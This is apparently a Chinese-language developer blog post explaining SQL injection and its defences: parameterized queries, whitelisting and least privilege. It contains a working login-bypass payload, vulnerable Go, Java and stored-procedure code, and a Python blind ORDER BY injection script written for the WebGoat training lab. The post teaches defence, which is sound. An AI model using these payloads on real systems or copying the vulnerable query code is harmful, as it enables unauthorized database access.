SQL injection 原理介紹與防範教學 - 工程師絕不能犯的低級錯誤！

發表於 更新於 分類於 Disqus： 文章字數： 6.4k 所需閱讀時間 ≈ 12 分鐘

其實從我大學開發專案的經歷並沒有特別去注意 SQL injection 的問題，為什麼？因為太依賴 ORM！現在的框架包山包海，有些甚至連 ORM 也包進去了，當你需要存取資料庫的時候一切都依靠 ORM 的操作，一個真正安全的 ORM 它的底層實作不會有 SQL injection 的問題，這就是為什麼許多開發者並不會去特別在意這個問題。

可是在我寫專案經驗越來越多的情況下，要知道，ORM 的操作並不能幫你做全部的事情，只要是複雜的查詢運用 ORM 反而是一種累贅而且還有效能的問題，這時候寫 raw SQL 是最好的選擇，這時候還不能注意 SQL injection 的問題嗎？

2020 年了，只要是寫有關資料庫操作的應用程式，都要注意 SQL injection，它很好防範，但若沒做防範的動作，後果卻是災難性的！

以下的內容我會用 Golang、Java 示範如何造成 SQL injection 問題，並且要怎麼寫才能防範，採用的資料庫是用 PostgreSQL。

SQL injection 原理介紹

簡單來說，就是透過修改 SQL 語句，進而有辦法達到存取資料庫資料的功能。

直接來看最常見的例子：

今天，使用者登入的時候需要輸入帳號、密碼，而通常很多系統的帳號會採用信箱來使用，今天我是一個駭客我要知道我朋友的信箱很簡單吧，那麼我不知道的當然是密碼。

因此，假設我在網站的密碼輸入欄輸入：

1
' OR 1 = 1 --

然後如果系統後端 SQL 查詢語句是用字串拼接的方式，我們用 Golang 跟 Java 來看：

  • Java

    1
    String queryStr = "SELECT * FROM person WHERE account = " + "'" + account + "'" + " AND password = " +  "'" + password + "'"

  • Golang

    1
    queryStr := "SELECT * FROM person WHERE name = " + "'" + account + "'" + " AND password = " +  "'" + password + "'"

因此最後 SQL 語句就會長成這樣：

1
SELECT * FROM user WHERE account = '[email protected]' AND password = '' OR 1 = 1 --'

根據上面的結果我們要知道以下幾件事情：

  • 因為 SQL 語法關係，要填字串型態的話需要在左右兩邊用單引號括住

  • - - 這個符號在 SQL 語法裡面是代表註解的意思，也就是在 **- -** 後面的任何符號都會被忽略，所以可以知道最後面的單引號會被忽略掉

  • WHERE 後面的條件被改寫成有三種條件：

    1. account 是否 = 某字串
    2. password 是否 = ’ ’
    3. 1 是否 = 1

    前面兩個條件做 AND 運算，最後出來的結果再跟第三個條件做 OR 運算

    所以答案出來了！就算前面兩個條件 AND 運算是 False，第三個條件一定為 True，如此一來最終結果是 False OR True

    則 WHERE 後面的結果一定為 True

到這邊就可以理解為什麼駭客只要這樣輸入密碼，就能輕易成立 SQL 查詢語句，如果運用在登入，它就是能夠直接登入成功！因為系統的產生的 SQL 語句拿到資料庫去運行一定可以拿到資料，然後系統那邊邏輯就只是判斷是否有資料，有資料則代表資料庫有該 User 的數據，因此判斷登入成功。

所以這也代表駭客也不需要知道 account 的值，只要隨便填一個值即可，重點是 password 這邊因為這樣輸入，而成功改變 SQL 語句語意。

錯誤程式碼示範

理解了 SQL injection 的意思並且也看到拼接字串的示範，那我們來看其他 Golang 及 Java 其他錯誤程式碼的示範，

  • Golang

    在 Golang 有所謂格式化的函式，我在一些程式社團裡面看到有人提一個 SQL injection 例子：

    1
    2
    queryStr := fmt.Sprintf("SELECT * FROM person WHERE name = '%s' AND password = '%s'",
                    name, password)

    請問這樣有沒有造成 SQL injection？有人說這是用參數綁定阿，我沒有用單引號來串接！恩…

    沒錯，你沒有用 **+** 來做字串串接，但是這樣最後產生的結果依然是：

    1
    SELECT * FROM person WHERE name = 'Kenny' AND password = '0000'

    那我一樣在密碼輸入 **’ OR 1 = 1 --**，產生出來的字串依舊造成 SQL injection：

    1
    SELECT * FROM person WHERE name = 'Kenny' AND password = '' OR 1 = 1 --'

  • Java

    同理，如果你用 String.format 的方式來格式化字串依舊會有這樣的問題：

    1
    2
    String queryStr = String.format("SELECT * FROM person WHERE name = '%s' AND password = '%s'",
                        name, password);

所以只要是字串拼接，字串格式化，這樣的方式來產生 SQL 語句就一定會產生 SQL injection！

防範 SQL injection 方法

  1. Escape Parameters

    也就是透過正規表達式來對使用者輸入的參數進行檢查，如果有符合 SQL 語法的關鍵字，則將它替換成合法字元等作法。

    缺點：

    1. SQL 語法關鍵字一旦新增，檢查規則就要跟著改變
    2. 總會有漏網之魚，無法全面防範

  2. Query Parameterization

    參數化查詢，絕大多數的情況用這防範方式是最安全的！可以說是唯一安全解法！其實它的原理就是資料庫語法中的佔位符號。

    例如：

    1
    SELECT * FROM person WHERE name = $1 AND password = $2

    這樣丟進去的參數是不會被當作 SQL 語法去執行的，因此就算使用者輸入的參數有不當的指令也不會因此執行成功！

    而通常有些程式語言會將佔位符這樣的功能弄成預處理的 SQL 語句，也就是說資料庫會先將 SQL 語句進行編譯，之後再把使用者輸入的參數丟進去編譯後的 SQL 語句再執行。

    而預處理的 SQL 語句除了防範 SQL injection 更提升了效能。

  3. White List 白名單機制

    這個白名單機制是在特殊的情況下使用的，也就是在 Query Parameterization 可能會失效的情況下使用。

    通常是使用 Order By 這些語法的情況，也就是：

    1
    SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname)

    因為 ORDER BY 後面 CASE 情況可以根據條件來選擇要按照什麼欄位進行排序，這樣的情況即使你 ORDER BY 後面用參數綁定依舊沒有防範作用，因此有些 SQL injection 的技巧是會在 CASE 後面的條件作手腳。

    而白名單的機制就是檢查使用者輸入的欄位一定只能是那些固定的值，例如使用者就只能輸入 lastname or firstname，也就是限制只能輸入要排序的欄位名稱。

    但我覺得這個白名單機制不用特別去在意，為什麼呢？因為像這種只能輸入特定的值，後端本就要做檢查的動作，而不是因為有 SQL injection 才去作檢查的動作。

    後面我們會看一個例子，專門針對 ORDER BY 造成的 SQL injection。

所以總的來說，參數化查詢才是正解，必要的情況下需搭配白名單機制！如此就能防止 SQL injection 的問題。

參數化查詢程式碼示範

這邊我們就用 Golang 及 Java 來示範如何寫參數化查詢的程式碼。

  • Java

    1
    2
    3
    4
    5
    String queryStr = "SELECT * FROM person WHERE name = ? AND password = ?";
    PreparedStatement preparedStatement = conn.prepareStatement(queryStr);
    preparedStatement.setString(1, "kenny");
    preparedStatement.setString(2, "' OR 1 = 1 --'");
    ResultSet rs = preparedStatement.executeQuery();

    也就是用 PrepareStatement 函式及佔位符。這邊我故意用 SQL injection 的輸入方式去實驗，結果當然是找不到資料啦！也就防止 SQL injection

  • Golang

    1
    db.QueryRow("SELECT * FROM person WHERE name = $1 AND password = $2", name, password)

    在 Golang 可以不用預存語句，用佔位符的功能即可，這樣的方式就能防範 SQL injection。

ORDER BY SQL injection 例子說明

這個例子我是從 WebGoat 拿來的，這個是因為 Web 資安練習網站，在裏面有一連串的 SQL injection 練習，在裡面練了幾回之後才對 SQL injection 更加認識。之後會發文章介紹這個網站。

基本上這個題目就是在說，今天我有一串 Server 列表，使用者可以對其 Server 列表進行排序，例如用 Hostname、IP、MAC 等等欄位。現在問題是，要如何透過 SQL injection 找到 Hostname 為 webgoat-prd，及 IP 為 xxx.130.219.202，我們要找出 xxx 這個數字代表什麼才知道整個 IP 為多少。

而這個就是利用 ORDER BY 的 SQL injection。

解題思路：

  1. 找出排序 API 的網址

    透過 chrome 開發者工具我們可以知道當你對哪個欄位進行排序時，會發出一個 HTTP Request，而這個 Request 是這樣：

    1
    http://127.0.0.1:8080/WebGoat/SqlInjectionMitigations/servers?column=hostname

    所以我們可以清楚知道，原來使用者選擇哪個欄位就會填在 GET Request 上的 query string。那你可能會想說，使用者又不能輸入，只能透過介面選擇欄位，而欄位出來的名稱是系統用預設的值，根本沒辦法用 SQL injection 方法去填呀。

    錯了，駭客可以自己寫程式發送 HTTP Request 到這個 API 呀！就算它有身分認證，但如果駭客就是這個系統的使用者呢？內鬼這種東西一定都會有的，並不是駭客就一定是外面的人。

    因此我們可以根據這個 API 產生的效果推斷：

    後端的 SQL 語句肯定是用 ORDER BY 後面接 column= 欄位名稱，來根據欄位排序。

  2. 用腳本寫 SQL injection，來找出 IP 前面的數字！

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests
    import json

    cookies = {
        'JSESSIONID': 'qdFWRxqjnLm16zFacNx-rxa5WGz4nLnpYmxevnGk'
    }

    index = 0
    while True:
        url = f'http://127.0.0.1:8080/WebGoat/SqlInjectionMitigations/servers?column=(CASE WHEN ((SELECT ip FROM servers WHERE hostname = \'webgoat-prd\') LIKE \'{index}.%\') THEN id ELSE hostname END)'

        result = requests.get(url, cookies=cookies)
        json_list = json.loads(result.text)

        if json_list[0]['id'] == '1':
            print(f'{index}.130.219.202 find it!')
            break
        else:
            print(f'{index}.130.219.202 not work!')
            index += 1

    首先該 API 要先用 cookie 進去，不然會被擋住，接著主要注意 column = 後面：

    1
    (CASE WHEN ((SELECT ip FROM servers WHERE hostname = \'webgoat-prd\') LIKE \'{index}.%\') THEN id ELSE hostname END)'

    也就是 WHEN 後面是一個條件，我想要找到 hostname = ''webgoat-prd’的 server 其 ip 是否等於 後面 這個 LIKE 字串。

    LIKE 在 SQL 語句的用意類似為包含的意思，也就是我們要猜 xxx 數字的話，透過跑一個迴圈，把 index 從 0 加到 1，直到我們找到正確的 index。那麼就代表 WHEN 裡面的條件成立，會執行 THEN id，也就是根據 id 進行排序，否則就根據 hostname 進行排序。

    這就是為什麼第 15 行的 if 要這樣判斷，是因為如果回傳的結果第一個 id 是 1 代表是 WHEN 條件成立了，也就是我們找到正確的 index，否則就會持續跑。

Store Procedure 的 SQL injection

Store Procedure 是可以在資料庫中定義自定義的函數，可以在裡面寫函數的流程，而應用程式從外部 call 資料庫的函式進行操作。

雖然 Store Procedure 是用在特定情況下的，一般實務上並不常用 Store Procedure，但常常網路上會有人問說，是否 Store Procedure 能完全防範 SQL injection？

事實上，這句話不能這樣說。因為資料庫的 Store Procedure 也是用程式碼去定義的，因此如果在定義 Store Procedure 的時候也是用字串串接的方式構成 SQL 查詢語句，然後在 Store Procedure 執行，一樣會造成 SQL injection。

例如：

1
2
3
4
5
DECLARE
   sql text := 'SELECT * FROM person WHERE name = ' || '''' || name || '''' || ' AND ' || 'password = ' || '''' || password || '''';
BEGIN
   RETURN QUERY EXECUTE sql;
END

這樣的方式依舊會造成 SQL injection，讓駭客能夠成功登入，只要一樣的輸入此密碼：’ OR 1 = 1 –

而為了避免 SQL injection，當然這樣寫即可：

1
2
3
4
5
6
DECLARE
   sql text := 'SELECT * FROM person WHERE name = $1 AND password = $2';
BEGIN
   RETURN QUERY EXECUTE sql
   USING name, password;
END

也就是用參數化查詢方式。

SQL injection 造成的後果

  • 讀取或修改資料庫敏感數據
  • 執行毀滅性的指令
    1. Truncate tables
    2. Drop tables

這邊特別要提的是，就算最壞的情況造成 SQL injection 了，要把握一個原則，你的系統當初上線就不該用 superuser 的身分連接資料庫的！！

因為如果不是 superuser 的身分的話，起碼你的系統只能 read、write 等操作而已，反之如果是 superuser 會造成更加毀滅性的結果！

總結

SQL injection 可是長期被 OWASP 列為網站資安漏洞的第一名，雖然它很好防範，但是我相信很少人會注意這個細節，因為就我大學期間我雖然聽過但也沒有特地去注意，之所以沒出問題是因為 ORM 防範了一切。但是如果你用的 ORM 程式庫其底層有 SQL injection 你卻不知呢？

個人覺得雖然寫 raw SQL 的機會並沒有很多，但是一個系統如果有複雜的查詢又有性能的要求的話，使用 ORM 是扣分的行為，反而去撰寫好的 raw SQL 語句才是好的做法。

就我個人的經驗我並不喜歡用太複雜的 ORM 像是 Spring JPA 有煩人的映射關係要去設定，如果要寫 raw SQL 又要用 Hibernate 發明的 H-SQL 語法。而我用 Golang 的 XORM 程式庫，相對就比較單純，寫 raw SQL 也提供便捷的函式，在程式碼上反而易讀性增加許多。

2020 年了！如果要成為合格 Backend 工程師，絕不能犯 SQL injection，共勉之！